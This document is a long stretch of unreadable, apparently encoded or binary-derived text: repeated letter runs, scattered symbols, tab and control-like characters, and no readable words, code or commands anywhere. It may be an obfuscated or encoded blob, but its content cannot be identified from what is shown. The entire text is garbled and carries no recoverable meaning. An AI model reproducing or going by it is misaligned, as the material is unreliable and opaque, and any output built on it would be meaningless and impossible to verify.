NU	NW^_^OJFF9UNW^__OFFFHFF	^R_ NWPQPONB 
 UUTQ	WOO]l]llF&9UNW_VVONB 
 UUTQ	WJFFFFFDZY:DO]lF FFNP

_
TNW^QWON9UNTVVOOOF&	9
NB 
 UUTQ	WJFO]lF]ll FFFFFNB

_VT	FFFXFFNWPSPPTTKPV^VRPOOFFFFFlFFFBVRUR RFFFF[FFFFFNOFF&9UNW^SRONB 
 UUTQ	WJFF 
JFF

JFVJFFNVWU^MVQUOO]lFFBW
QQRU	PFF[FFFNB

_VT	FFFFXFFFNWSRUPKQTRROOFFYFFFFFNOFF&U	NW^SRONB 
 UUTQ	WJFF 
JFFFF

JFB

_VT	FFFKFFFFFN^WQRMW^OOF\FFDD]lFFFBT TRFFFF[FFBVRUR RFFHFBW
QQRU	P]lFF FNBT TRFFG[[FFFFFDDFF@@FFFP

_
TNWQ^_ONU	NW^_QOJFFFBT TRJFFFBOOFFlB_RVS^
WF[FFF 
]lFFF 	FFNB=W;FFFB^STQVVOFFFlFFFFFFF FN	9	NB^STQVVJFFF^P	PU QNOJFFFFFFAZAOOFlFFB_RVS^
WFF[FF]l]lFFlFFlFFFFFF FFFNGB_RVS^
WOF]llFFlFBT VVFFF[F&P

_
TNW_VWONB 
 UUTQ	WO]lllFF FN9UNW^_VONBT VVOFFF@@FFFU	NW_VTONBT VVOFFFXFN_T_P_RMWW^^^TOOFFBT VVF[FF9^QSRQNBT VVO]lFF FFFFNG9UNW^_VONBT VVOOFFF]lFFFFF FFFFNGTUS99NBT VVOOFFFFF]lFF9	SS^NB 
 UUTQ	WJFBT VVO]lFFFFFFl 	FF9	SS^NB 
 UUTQ	WJFFBT VVOllllBVTVWFF[FFP

_
TNW_VUONP

_
TNW_VROJFFFFFDDJFBT VVO]l FFFNG9UNW_VSONBVTVWOFFFFFFFU	NWT^WONBVTVWOF[[[FFFDDFFFF9UNWT^WONBVTVWOF[[[FFP

_
TNQPWOOFFBVTVWFFF[FFDZY:D]lFFFF FNU	NW_VTONBVTVWOFFFFFX[FFNTRMRQPOFFF@@FFFGS_V9QNBVTVWOOFBVTVWFFF[FFFFFFDZY:D]BWU[6.69/(29+'>I6.69/(29+'>]BP[BWUMRS]lFB9VT FFF[F& 
NB 
 UUTQ	WO]lllFFFFFFFB9VT FFFF[FFNB9VT FFF[[[FF 
OFYFFFNT_VMWUVOFFF\FFNB9VT FFF@FNRUQMQROO]lFFBWTRU	_FFFF[FFFF&	^R_ NW_VPONB 
 UUTQ	WO]lFB
P	V_^9TPF[FF&	^R_ NTPONP

_
TNWTP_ONB 
 UUTQ	WOJFFFFU	NW_VQOO]lF FFFFFNB
P	V_^9TPFF[[[FFFF 
OFFFF]lF FFN&U	NW_VVONB
P	V_^9TPJFFFBVTVWOFFG[[FF	^R_ NW_VTONBVTVWOOFFlFFFFFFF&P

_
TNQQWONB
P	V_^9TPO]lFFF]lFlFF&P

_
TNWPRONB
P	V_^9TPJFFFB9VT O]l FNG&P

_
TNW__ONB
P	V_^9TPJFFB 
 UUTQ	WOOFFlFF&	^R_ NQQWONB
P	V_^9TPO]lFFFF]lFFFFFFFFlFFF FNBWTRU	_OFFFF&	^R_ NTWONB 
 UUTQ	WJFFBWTRU	_O]lFFF FFNP

_
TNW^QWON9UNW_V^OOOFFFF&	9
NB 
 UUTQ	WJFO]lFFFFFFlllF 	FFFFFVPP_^NB
WOlFlllFFF FFNG9UNW_V_ONB
WOOFFDD]lFF FN9UNWQTWONP

_
TNW_WVOJFFB
WJFFFFB9P99T_	OOFFFFFlFBTF[FFB9P99T_	=W;]lllllFFFFB

_VT	FF[FF&P

_
TNW^SSONBTOFFFFYFF&	^R_ NWQSPONBTOFFF\FV]l FFNGB

_VT	FFFB

_VT	FFZFFNVQMVWWOFFFFFB

_VT	FFFXFNSTRT^QPQMUUOOFlIIF F	llF FFFFFNB

_VT	FFXFFNQR^WU^UWKTTU^SVUWOOFlllFFFB_ SRFFFFF[FFF&9UN^U^ONBTO]lFFF FFNG	^R_ NW_WWONB_ SROOFFFFB_ SRFF[FBT]lB_ SRFF[FP

_
TNWQ^TONA::AJFFFAIAJFB_ SRO]lB
_ ^SPTF[FFF 
]lFFFB T	_9
FF[FFFFN NP

_
TNW_WTOOFYFFFFFU	NWRRRON'$56'2.JFU	NWRWQOOF\FDDJFFFF NU	NWPP_OOFYFU	NWRRRON169%)(2#(29"/4JFFF	^R_ NWRWQOOF\FDDO]llllFFFFFF 	FFNB T	_9
FFFFFBU_OFFFFFlFFFBU_FF[F	^R_ NWQ^TONA::AJFFFAIAJFFBU_O]lFFFF FFFFFNBU_FFFFG[[FDDFF@@FU	NW^_WONB_ SRJFFFFBU_FFFFFHFAIAOF[[[FFVOFlFFFFB
_ ^SPTF[FFFFF]l]lFlllllFFFFFF FFFFFNB
_ ^SPTFF@@FFRRQ
NBTOFG[[FFF 
OFFlF&U	NQQWONBTO]l&	^R_ NQQWON	^R_ NW_WUONBTOFFHFFFFFU	NQ__OFFFFFHFF	^R_ NWPQPONBTJFFFFU	NWQPWOOO]lFFFFF
FFFFFFlFF	RR^TT9
NU	NW^_^OJFF	^R_ NW_WROFHFFP

_
TNWPQPONBTOO]llFFlllFFFFFFFDD]llllllIIF
F	
F
K	llFFFFFFB
W]llllFFFFFFFF 	FFSW RTWSRTSQNOlllFFBTFF[F

]l FFFNBTFF[[[FFFFF

OFFFFlFFFFFFB TW	R	_ SQPFFFFF[FFFFQP^WSUWNO]lFFFBTFFFF[FFFFNU	NW^TWONB TW	R	_ SQPOFFFFF@@FNB TW	R	_ SQP=9UNPSSO;OFF@@FU	NW^_WONNOFFB TW	R	_ SQP=U	NW_WSO;JF	^R_ NW_WPOOFFFFFF[[[FFFVO]llFFFBT]lFllllFFFF 	FFFFFPVT	V
RNOlFFl FFFNG N	^R_ NW_WQOOOFFFFFF]llBT	W QFFFFF[FF'$56'2.FFFHF	^R_ NWSQSO]lF FFNG&9UNW^SSONBT	W QOOFFFlFFBFF[FF	^R_ NW_WUON'$56'2.OFFHFFFF	^R_ NW_W^O]l FFN&9UNW_W_ONBOOFBT	W QFFF[FFFFB]lllFFlFFFFFF FFFFFNG&P

_
TNW_TVONBT	W QOFFFFFFG&P

_
TNW_TWONBT	W QOOFF]lFFFFFB_ SRF[FFFF&U	NW_TTONBT	W QO]llllFF FFFN9UNW_WWONB_ SROFFF@@FFFB_ SRFG[[FFDDFF@@F&U	NW_TUONB_ SROOFBT	W QFF[FFFFFB_ SR]lFFFFFF FFN&9UNW_TRONBT	W QOFXFFNVWTPSS_MVT_QOOFFFF]lFFFBT VVFFFF[F&	^R_ NW_TSONBT	W QO]lFFF FFNG9UNW_TPONBT VVOFFFFFBT VVFF[[[FDDOF]lFFFFBS_V F[FFN9UNW^_WONBT VVJFP

_
TNW_TQOOFFFG[[FF 
FFFF9UNW^_WONBT VVJFU	NW_T^OOFG[[FF 
O]lB9WRF[F 
]lF FNU	NW_T_ONBT VVJF9UNW_UVOOF[[[FFF 
OFlILFF	FLIll FFFFNGNB!*)$'*5=	^R_ NW_UWO;OOFFFlFFB9WRFFF[F]lFFFFFFFF
FFFlllFBQS
FF[FP

_
TNW^QWON	^R_ NW_UTOOFFYFFFU	NW_UUONOFFFF\FFFFFF9UNW_URO]llllFF FFFNG&9UNW_USONBQS
OFFFFG&P

_
TNW_UPONBQS
OOFFB9WRFF[FFFFF]llFlFllllBS99FFFF[FFFF 
]llB^ SQRQFFFF[FF 
]lFFFF FFFNG	^R_ NWQTWON	^R_ NW_UQOJFBT VVOFFF@@F N9UNWPP_OOOFlFFFFFFB9FF[FFFFF169%)(2#(29"/4FFHFFFFF9UNWU_RO]llllFFFFF FFFFN&9UNW_TVONB9OOFFFFlFFFFFB	
	QP9^FFF[FNOFFF&9UNW_U^ONB9JFF 
JFFFF

JFFFFFVJFFNVMVSRPOO]lllFF FFN9UNW_T_ONB	
	QP9^JFFFP

_
TNW_U_OOFG[[FFFFF 
OFFBS99FFFF[F]lFFFlFFFF
 FNlFF	^R_ NW_RVONBT VVJFFFFFP

_
TNPVWOOF[[[FFFFFF 
l@@F	^R_ NWQTWON9UNW_RWOJFFFFFBT VVOllOFllFFB^ SQRQFFF[FF]lFFFFFFlFFFB WRQ_	FFFF[FFFF 
]lFFF FFFNSW RTWSRTSQNOOFFBT[SUTR]B_VV	[BTCWS]llllFFF FFNlFFFFFFFGU	NWQTWONP

_
TNW_RTOJFFFFBT VVOlFFFFFG	^R_ NWQTWON	^R_ NW_RUOJFBT VVOlFFGP

_
TNW_RRONU	NW_RSOJFFFFBT VVOlFOFFB WRQ_	F[FFFFF]lFlF FNGBS_V F@@FFFFGB9WRFFF@@FGBS99F@@FFFGB WRQ_	FFFFF@@FFFFGB^ SQRQOF]llllFFB RFF[FFDD]lFFFFBVTVWF[FFFBT VV]lF FNBS_V OFFFlFFF FFFNU	NWQ^_ON9UNW_RPOJFFFBT VVJFFB_Q	UOOFFB RFFH[FFF	^R_ NW_RQOND:DJFB_Q	U=V;O]lFFFFBVTVWFF[F9UNW_VUONP

_
TNW_R^OJFFFDDJFFFBT VVO]lllFFF FFNGP

_
TNW_TPONBVTVWOOFFF]lFFF FFNU	NW_R_ONP

_
TNW_SVOJFFFFFFBVTVWJFFFB
USSWTOOFFFFFB RFH[FFFD:DFHFFU	NW_RQOND:DJFFB
USSWT=V;O]lBVTVWFF[FFP

_
TNW_SWONU	NW_SVOJFDDJFFFFBVTVWO]lF FFNGP

_
TNW_TPONBVTVWOOFFF]llFFFF FFFFNB9WRF@@FFFF	^R_ NW_RRONP

_
TNW_STOJFFFBVTVWOOFlFBVTVWFFFFF[F	^R_ NW_SWON9UNW_SUOJFFP

_
TNW_SROFFFFHFFFFFD NFA1692#+69"/4AJFNF NFA169%)(2#(29"/4AFOFYF169%)(2#(29"/4F\F'$56'2.FHFAK	AFOFHFAIH9AFO]:DJFBVTVWJFWO]lFFFFFF FNG	^R_ NW_SSONBVTVWOOF]llFFFFFlllFFFF FFFFNBS99FFFFF@@FU	NW_SPON	^R_ NW_STOJFBVTVWOOFFlFBVTVWF[FFF	^R_ NW_SQON9UNW_S^OJFF9UNW_S_OFHFFD NFA169%'%.#AJFFO]FILF5%91%FLI:DJFBVTVWJFFFWO]lFF FFFNGU	NW_SSONBVTVWOOF]lFFFFFF
 FFFNB^ SQRQOFFFFlFBVTVWFFFFF[FU	NW_PVON9UNW_PWOJFP

_
TNW_S_OFHFD NFA169%'%.#AJFFO]FILF5%91%FLI:DJFFBVTVWJFFFFFWO]lFFF FFFNG	^R_ NW_SSONBVTVWOOFFFFFF]lFllFFFFFF FFNB WRQ_	OFFFFlFFFFFFBVTVWFFFFF[FF	^R_ NW_PVON	^R_ NW_PTOJFFFFDDJFFFBVTVWO]lFFF FNGP

_
TNW_SSONBVTVWOOFFF]l FFFFN9UNW_PUON	^R_ NW_S^OJFFFBVTVWOOFFFFlFFFFFFBVTVWF[FU	NW_PRONU	NW_S^OJFU	NW_PSOFFHFFFD NFA169"#$3!AJFFO]: NFA169"#$3!9*)!AJFFO]: NFA169"#$3!9"/56*'?AJF 
FO]:DJFBVTVWJFFFFWO]llFFFFFF FFFNG	^R_ NW_PPONBVTVWOOFF]llllFFlFFFFFF FFFFFFNBVTVWFF[[[FFBT VVOFF]lFF FFFFNGS_V9QNBVTVWOOFFFFF]lFF FFNBS99FFFFFF@@FGVW9_		SNBT	W QJFFFFBT VVOOFlllFFFF	RR^TT9
NU	NW_PQOJFFF9UNWPRWOO]lFBVTVWFFF[F9UNW_PRON9UNW_P^OJFFU	NW_P_OJFFFFBVTVWJFFFFWO]lFFF FFFNGP

_
TNW_PPONBVTVWOFFFFFFFFBVTVWF[[[FBT VVOFFFFFF]lFFFFFF FFFFNGS_V9QNBVTVWOOFFF]lFlllFFFFFB9VT FF[F& 
NBT	W QO]lFFFFFFB9VT FFF[FFFFNB9VT FF[[[FF 
OFFYFNVWTMVQOFFF\FFFFFNB9VT FFFFF@FFNTP^MTRUOO]lFBWTRU	_F[FF&P

_
TNW_VPONBT	W QO]lFFFB
P	V_^9TPF[FF&	^R_ NTPON9UNW_WUONBT	W QOJFFFFFP

_
TNW_QVOO]lFFFFFF FFFNB
P	V_^9TPF[[[FFFF 
OFFFFF]lFFF FFFFFN&P

_
TNW_VVONB
P	V_^9TPJFFFFBVTVWOFFFG[[FFFF9UNW_VTONBVTVWOOFl&P

_
TNQQWONB
P	V_^9TPO]lFFFF]llFF&P

_
TNW_QWONB
P	V_^9TPJFFB9VT O]lF FNG&9UNW__ONB
P	V_^9TPJFFBT	W QOOFFFFlILF F
FLIlllFFFFF&P

_
TNQQWONB
P	V_^9TPO]l]lFlFF FFFFFNBWTRU	_OF&	^R_ NTWONBT	W QJFFBWTRU	_O]lFF FN	^R_ NW^QWONP

_
TNW_V^OOOFFFF&	9
NBT	W QJFFFFO]lFFFF FFFNU	NW_R_ON	^R_ NW_QTOJFFFFB RJFBSOOFFFFlFFF 	FFN	^R_ NWT^TONBS=W;OFFFFFFBVU_ OFFFlF FFN9UNW_QUONBVU_ JFFFF	^R_ NW_T^OOFFFF[[[FFFVF@@FFFF&9UNW_TVONBVU_ OOF&U	NQQWONBVU_ O]lFlFFFl FFFN9UNW^QWONP

_
TNW_QROOFFFFFF@@F9UNW_R_ON9UNW_QSOJFFFB RJFFFBQWWRROOFlFFF 	FFFN9UNW_QPONBQWWRR=W;OFFFBURPOFFl FFFFFN	^R_ NW_PUON9UNW_QQOJFFBURPOOFF&
9		NBURPO]lllFlFFFFFlFFFlFFFFF 	FFUSUP
QPR	PNOlFFFllllFFFFF FNG NU	NW_Q^OOOFF]llllFFB_W_T	FFFFFF[FFFF N	^R_ NWPPQOOFFFFYFF16+396*3!/(9"/4FF\FFFFFF169%)(2#(29"/4FFFHFFU	NW_Q_O]lB9 TFFFFF[FFNO]lFFFFFFFF FFNP

_
TNW_^VON	^R_ NW_^WOOOFlFFFFF FFN&9UNW_USONB_W_T	OOFF 	FFFNNOF&P

_
TNW_^WONB_W_T	FFFHFFFFU	NPPTOOFFFFFFB^QTVOFFFFFFB9 T=;F[FB^QTV]lFFF FN N9UN^T^OOF@@F&U	NW_^TON1696*3!/(9"/4OOFFF 	FFFFNNOFFFF&	^R_ NW_^WON1696*3!/(9"/4FHF9UNW_^UOOFFFFFFFB^QTVOFB9 T=;F[FFFFFB^QTV]lFFlFFFFFFB	F[FFFFF N9UNW_WQOOFFFYF'$56'2.FF\FFFFDD]lFFFB	WUS^SFFFFF[FF169%)(2#(29"/4FFHFFF9UNW_^ROFFHFFFU	NWQ_^ON	^R_ NWQPSONB	FFHFFF9UNRSOOJFFFFFVJFNWVKTOOFHFF9UNW_^SOFFFHFFFU	NWQ_^ONP

_
TNWQPSONB	FFHFF	^R_ NRQOOJFVJFNWTU8WWSOOFHFFP

_
TNWQPWO]lll FN&	^R_ NW_^PONB	WUS^SOOFB9 T=;FF[FB	WUS^S]lF 	FFFFNB9 TFFFB^QTVOFlBWTRU	_F[F&P

_
TNW_VPONB^QTVO]llllF FFNGBWTRU	_FFNBWTRU	_FFCFFFFNWWPS^VKWPS^VOOFG[[FFFFN_U^WTMQOOFFFllllFFFFBW^Q FFFFF[F&9UNW_TRONB^QTVO]l FFFFNGBW^Q FFFFFBW^Q FFZFFNR^WMW_OFFFFFBW^Q FFFFXFFFFFNTQ_QTRSTMTRRSPUR^OOFFFF	]lFFlIIF16F%	F$
	F
	
F
llB_ SRFF[FF&P

_
TNW_^QONB^QTVO]lIIF16F+F2F$
	\F
F	llFB PSU
^FFF[F&P

_
TNW_^^ONWP__VVUVNOO]lFFFFFFF FFNP

_
TNW_PPONB_ SROFFFF@@FFP

_
TNW_PPONB PSU
^OF@@FFB_ SRFFF[[[FFFB PSU
^OF	]lFBQ_UR	FFFFFF[FF&9UNW_U^ONB^QTVJFFF 
JFFFFF

JFFVJFFFNPSQQKTR^WOO]lFFF FFFNG	^R_ NW_PPONBQ_UR	OFFFFFF	^R_ NW_QUONBQ_UR	JFF9UNW_^_OOFFFF[[[F 
OF	]BSQV^T[WVLP]B 	V
P
[BSQV^TKUW]llllFFF FNGP

_
TNW__VONP

_
TNW__WOJFFFFFBQ_UR	JFBOOFF	]lllF FNG	9	NB=W;JFF^P	PU QNOJFFFFFAZAOOFFFF	]lllFFFB
FFFFF[FFRRQ
NB^QTVO]l FNB
F[[[FFF 
OFFFllllF	RR^TT9
NP

_
TNW^_^OJFFP

_
TNW__TOFHFFFFFU	NW__UONB^QTVOO]lFFFFFFF	]lFlIIF
F	
F 	F16F0F$
	llllFFF FFFNB
F[[[FOFllllFF FFNQ
SV9TNB^QTVJFFFFB^QTVFFHFF9UNW_^OOOFFl FFFFN	^R_ NW_^VON9UNW__ROOOFFFF&	9
NB^QTVJFO]llFFFFlF&U	NQQWON9UNW_WUONB^QTVOFFFHFFFP

_
TNQ__OFFFHFFFP

_
TNW__SONB^QTVJFP

_
TNWQPWOOO]ll	]lFlFFFFF&9UNQQWONB^QTVO]lF&P

_
TNQQWON	^R_ NW_WUONB^QTVOFFFHFFP

_
TNQ__OFHFFP

_
TNW__SONB^QTVJFFFFU	NWQPWOOO]lFF FFNP

_
TNW_^VONP

_
TNW__ROOOF&	9
NB^QTVJFFO]llllFFFFFFPVT	V
RNO]lFFFFBVV_FFFF[FF169%)(2#(29"/4FFFHFFFF9UNWTSPO]lFlllF FFN&	^R_ NW_^TONBVV_OFFFFF@@F9UNW_^VON	^R_ NW__POOOFFFllllFFFF 	FNNOFF&P

_
TNW__QONBVV_FHFFFFFP

_
TNW__^OOFFFFFFFBRQOFFFlFF FFNG&9UNW___ONBRQOFFFG&U	NW_UPONBRQOOF	]lFBR 9	TFFFF[FFF&9UNTVVVONBRQO]lF FFFFNGBR 9	TFFFFFBR 9	TFXFFNVQWTMVW^TPOOFFFF	]lFFBUUFF[F&P

_
TNW_U^ONBRQO]l FFFFFNG9UNW_PPONBUUOOFFFF	]lFFFF FFN	^R_ NTVVWONBUUJFP

_
TNTVVTOOF[[[F 
FFF@@F	^R_ NTVVUONBUUJFFFFP

_
TNTVVROOFF[[[FFFF 
FFFF@@F	^R_ NTVVUONBUUJF	^R_ NTVVSOOFFFFF[[[FFFF 
OF	]l FNGVQUS_

UQNBUUOOFF	]lllB9		RUW VF[F9PS^NBUUO]lF FFFNP

_
TNW_PPONB9		RUW VOFF@@FFFFB9		RUW VFFFG[[FBUUOFFFlFF URUSWNBRQJFB9		RUW VO]llll FN9UNW_^VON9UNW__ROOOFFFFF&	9
NBRQJFFO]lFFFlFlFFFFFFlFFFF
9PT_TN169%)(2#(29"/4FFFHFP

_
TNWU_ROO]lF
9PT_TN169%)(2#(29"/4FFHFFFFP

_
TNSQSOO]llFF FFFFFN9UNW_^VON9UNW^SPOOFFF@@FFFFFFP

_
TNW_^VONP

_
TNTVVPOOFFFF@@FFU	NW_^VONP

_
TNTVVQOOOFBRVP	[WU^T]B	TRS	 T
[BRVP	CWU]lFB9	F[FF	
_N'$56'2.FFHFP

_
TNTVV^OJFNSZZWOO]lFBWUQFFF[FF&9		NB9	JFFFDDO]lFFF FFFNP

_
TNW_PPONBWUQOF@@FFFBWUQFFFFFFG[[FFFFDDOFFFllFBTTS FF[FFFU	NRVTONBWUQJFO]l FN	^R_ NW_PPONBTTS OFFFF@@FFFQP TQWRWNBTTS OOFF&
9		NB9	O]lFFlFFB 9^V	
_F[FFFF	^R_ NW_^VON9UNTVV_OOFFFYFFFFT_RUU99NU	NWVTWOJFDDOF\FDD]lFF FN9UNW_PPONB 9^V	
_OF@@FFB 9^V	
_FFG[[FDDFF@@FN	^R_ NW_VTONB 9^V	
_OFXFFFNWVR^SSTMTROFFFFFN	^R_ NW_^VON	^R_ NTVWVOOF@@FFWTWSS_PWNB 9^V	
_OOFFFFFF_
WNB 9^V	
_OOOFFFFFlll FNU	NTVWWON9UNTVWTOOOFFFFF9
T
PTTNP

_
TNWVTWOJFFDDJF9UNTVWUOO]llllFFFFFF 	FF
 SRNOlFB99[6.69+',)490#45/)(]B9_Q9R[B99LR]llFFFlFF FFFFNG N	^R_ NW_WQOOOFFFF]lFFFFF FFNGNB!*)$'*5=P

_
TNTVWRO;OOFlllFFFB!*)$'*5=P

_
TNTVWRO;FFFFFF[FFFFFV]l	RR^TT9
NU	NTVWSOJFF9UNTVWPOO]lFlIIF16F$
	F2 	\F	
FK  llllFF FFFFFNGNB!*)$'*5=	^R_ NQ_QO;OOF]lFB!*)$'*5=	^R_ NQ_QO;FFF[FF]lFFF FFFFNGNB9!#2=9UNW^TTO;OFF@@F	^R_ NTVWQONU	NW^SPOOFFFFF@@FF9UNTVWQONU	NSTTOOOFFFllFFFFFFB9 _UURFF[FFF&9		N	^R_ NW^RUOJFFNOO]lFFFFFFB
V9S^WQF[F 
]lFF FFN	^R_ NW^TWONB9 _UUROOFFFFFBSS^P W[^MSV]B
_ ^
	_[BSS^P WKU^]l FFFFNGNB9 _UUR=AA;OF@@FFP

_
TNW^^TONOFFFKFFNOFFFB9 _UUR=9UNTVW^O;FFZFFNTWURKUUROOFB
V9S^WQFF[F]lFFFFllF FFFFNGB
V9S^WQF@@FFGNB9 _UUR=P

_
TNW^^RO;OFFF@@F9UNTVW_ONB9 _UUR=U	NW^^RO;OOFFFl 	FFFNB9 _UUR=U	NW^^RO;FFFFFFFB9OFFllF FFFN	^R_ NTVW_ONB9OFF@@F	^R_ NW^^TONOFFFKFNOFFB9=	^R_ NTVW^O;FFFZFFFFFNWQPWMU_OOFlFB
V9S^WQF[FFF]lF]lFllFFFlFlFFFF FFFFNB
V9S^WQOF	^R_ NTVTVON	^R_ NW^RROO]llFF FFNW U^PTWSNWP__VVUVNOOOF]lFUSUP
QPR	PNO]lFFFF	_UTURNWP__VVUVNOJF^P	PU QNOO]lFFF FNGQ^_SRVNOOFFFFFllllFFFF^S	9^99
NO]lFSQV9VNO]lFFF]lIIFK F 	llllFFFBR WPV FFFFFF[FTQ^V^_ NO]lFFFB^^RT	^FFF[FFNllFFFWP__VVUVNOJlFFFBR WPV FFFFFHFFFP

_
TNSQSOJlO]lFBS _	SFF[FFF UT	QU
SNO]lFF 	FFNBS _	SFFFFFFFB V^^OFll FFFFFN&	^R_ NW___ONB V^^OOFFFB^^RT	^=;FFFF[FFFFFB V^^]llFlFFB	QQQF[FNO]lFFFFFF FFN
WVWS___ WNOOFFFFFlFFFFB9

SFF[FF	
_N'$56'2.FFHFFF	^R_ NWV_TOJFFFFFNUMSOOFFHF9UNWQPWO]BRS V[NV^MVSO]B9T_9
[BRS VCWR]lB	QQQ=	^R_ NTVTWOFFHFFF'$56'2.FFFHFP

_
TNWR_UO;FF[FFFFB9

S]lFFB	QQQ=9UNTVTWOFHFFFBR WPV FFFHF	^R_ NTVTTO;FFF[FB9

S]lFFFFFlFFB		9_W9	^UFFF[F	^R_ NTVTUON9UNWR^UOOFYF&	^R_ NWR^UON	^R_ NTVTROOFFFFF\FF 
]llFF FFFFFFN9UNTVTSONB		9_W9	^UOFF@@FFFB		9_W9	^UFFG[[FFFFDDOFFFFlFFBRS
F[FNOF9		NU	NWRR_OJFFVO]l FNGBRS
FFFF	^R_ NW^^TONOFFKFFFFBRS
FFFFX[FFFNWWWUVVKTR_VVOOFFlllB	S^V	S_FFFF[FF	
_N'$56'2.FFHFFP

_
TNTVTPOJFFNWRKPOOFFHFFU	NWQPWO]lB	QQQ=	^R_ NTVTWOFHFFF	^R_ NTVTQON'$56'2.JF	^R_ NWRWQOOFHFAIAFFHFFFFFB		9_W9	^U;F[FFB	S^V	S_]lB	QQQ=U	NTVTWOFFHFFBR WPV FFHFFFAIAFHFFFB		9_W9	^U;FF[FFFFFB	S^V	S_]lFFFFFFFlFllB9U PT	
FFF[FFF
RUTU9RNO]lFFF FFN&U	NW___ONB9U PT	
=W;OOFB	QQQ=	^R_ NTVT^OFFHFFFB9U PT	
=V;;FF[FFF9UNTVT_OFFFFHFB9U PT	
=T;]lFFFFFFFFB9P_FFF[FFFF&9		NU	NTVUVOJFFFNOO]lFF FFFFFFNG	^R_ NTVW_ONB9P_OOFB9P_FFF[FFFFNO]lFFB
VF[F 
]lF 	FFFFFNB^^RT	^FFFB
V^V^OFBU R[WWMSP]B^V_[BU RKRR]lFFBQ
STTFFF[FF&9UNTVUWONB
V^V^O]lFFFFFBQ9TW9WF[FFFFFFBQ
STTFFYFFFFFNBQ
STT=P

_
TNTVUTO;FFFFHFFAAFHFFBQ
STT=U	NTVUUO;OFF\FFFFFAVA]lFFB
	TFFFF[FNB9P_=B
V^V^;OFFYFB9P_=B
V^V^;F\FFDD]lF FFFNBQ9TW9WFF[[[FFFB
	TOF	]l FN9UNTVURON	^R_ NTVUSOJFFFB
	TJFFFBV^OFFF@@FFF9UNTVUPONB
	TJFFVJFKU	NW_VTONBV^=V;OOF[[[FFFFFBQ9TW9WFFF@@FFFFP

_
TNW^^TONOFFFKFNOFBV^=W;FFFFFZFFNUSR_MSWOOFFFF	]llllFFFFFB
VF[FFFF]lF]lllFFFll FFNGB
VOFFFllllF 	FNB	QQQFFFFFFBFF[XFFFFBT
OFFlllFFFBQ9TW9WF[FFFVQT	QNU	NTVUQONBJFFFFNWU_8WRTOOJFFBT
O]lFB
	TFFFFF[FFFNB9P_=B;OFFFYFB9P_=B;FF\FFDD]lFF FFFNBQ9TW9WFF[[[FFFB
	TOFFFF	]lFFF FFFNP

_
TNTVURON	^R_ NTVUSOJFB
	TJFBV^OFFF@@FFFP

_
TNTVU^ONB
	TJFFFVJFFK	^R_ NW_VTONBV^=V;OOFFFF[[[FBQ9TW9WF@@FF	^R_ NW^^TONOFFKFFFNOFFFBV^=W;FFFFFFZFN^PURWMS_OOFF	]lFFB
VFF[F]lFFFFF]llllFFFFFlFFFFlFBP9 FFF[FFFFP

_
TNW__SONWP__VVUVNOJFF	^R_ NWQPWOO]llB WWPFF[FBR WPV FFHFFFFU	NSSOFHFFBP9 FHFFFFFAIAFHFBP9 FFFFFHFF	^R_ NWQPWO]lFFFFFFFB9SVV P_FFFFFF[FFFFUTWPPVT	_
9
TNO]lFFF FFNG&	^R_ NTVU_ONB WWPOFFFFFFFNOFF&9UNTVRVONB WWPOFFFFFFZFFNS^_UK^_UOOFFB
VFF[F]lFF FFNB9SVV P_FFG[[FFDDFF@@FFFG&P

_
TNTVRWONB9SVV P_OOFFFB
VFF[FFFF]lFFFF FFFFFNGB
VF@@FP

_
TNTVRTONP

_
TNW^SPOOOFFFlIIF&
F 	llFFBQTUVSFF[FBP9 FHFAIAFFHFBP9 FFFHFFFFFFP

_
TNTVRUO]llllFFFFFFBQ^PQFF[FFF9		NU	NQQ^OJFNOO]lFFFFFFFF FFNG	^R_ NTVW_ONBQ^PQOFFG	^R_ NQ_PONBQTUVSJFFBQ^PQJFFFOOFFB
VFFF[FFFF]llllFFFFFlFFFFFFF FNGB
VOFFFF]lFFFll FFFFNG_QTSS_^P
 _RWN	^R_ N^VWOOOFF]lFFFFFFFlFFFFFFFVV QNO]lllFPTQ
TQVNO]BVPQ[6.69+',)490#45/)(]B	QW^9[BVPQLU]llFSQV9VNO]lFFFFFFFVTU W	
	
WNO]lFT9_S_NO]lFFFFFFF^S	9^99
NO]llFFFFFF
^
NO]lF_VT R	NO]BQVP[QPLU]B9W_RR[BQVPKR_]lFFFB WQQU	FF[FFFFF 	WUSNO]lFFFB	^

F[FFU_R9S_TSTNO]lFFFFFB9_9PWR_FF[FFFNO]llFFFF 	FFFFFNB^^RT	^FFFFFFB
V^V^OFFFlBU_PT	
FFF[FFFNB
V^V^FF[[[FFFFBR WPV FFFHFFFP

_
TNTVRROFFFF@@FFFGB WQQU	OFFFNU	NTVU^ONB
V^V^JFKNPM^OOFFFFFF[[[FP

_
TNTVRSOFFFFFF@@FGB	^

O]lFFFFBQ
STTFF[F&	^R_ NTVUWONB
V^V^O]llllF FFFFNBQ
STTOFFlILFK F	
FLIllFFFFFB9_9PWR_=B
V^V^;FF[FFFFFBQ
STT=U	NTVUTO;FFFFHFFAAFFHFBQ
STT=	^R_ NTVUUO;FHFNBU_PT	
FYFFU	NTVRPOFFFHFFFFFFU	NW^^TONOFF\FFDDO]lllF 	FNB	QQQFFFFFFBFFFFF[XFFBT
OFlFBRPVF[FFVQT	QN9UNTVRQONBJFFNVRMVWOOJFBT
O]lFF FFNBRPVFFF[[[FFFAVAFFFFFFFFF	^R_ NTVRQONBRPVJFFFFFKTOF[[[FFFFP

_
TNTVR^OOFFBRPVFFH[FF	^R_ NTVR_OFFFHF	^R_ NW^^TONO]lB9_9PWR_=B;FF[FFFBRPV]lFlFFF&9		NP

_
TNTVUVOJFB9_9PWR_JFFFFF9UNTVWUOO]llFFFFFFFFF 

FlFFFSU_T	_NU	N^VWOO]llllFFFFFFlFFFFFN2	
FFFFB
WSW9TOFFlF	RR^TT9
NP

_
TNTVSVOJFFB
WSW9TO]lFFFFFFFFFN#	FB
WSW9TOFFFFFFlFFllllFlllF 	FFFFVQT	QNB
V^V^JFFFFBT
OlFllBQ
STTFFF[FF&	^R_ NTVUWONB
V^V^O]lFFF FFFNGBQ
STTOFFFFFFAVA]lBQ9TW9WF[FFBQ
STT=U	NTVUTO;FFFFHFFAAFFFFFHFFBQ
STT=P

_
TNTVUUO;]llFFFFF FNBQ
STT=	^R_ NTVUTO;FFXFNWVR^SSTMTROOFFFFFFFFFP

_
TNTVSWOFFFFFFHFBQ9TW9W]llFBT VVFF[FF&P

_
TNTVSTONB
V^V^O]llFFFFBQ9TW9WFFFFHFFFFAAFFFFFFHFFNN9UNTVTSONBT VVOFF@@FFP

_
TNTVVUONBT VVJFBT
OFG[[FF 
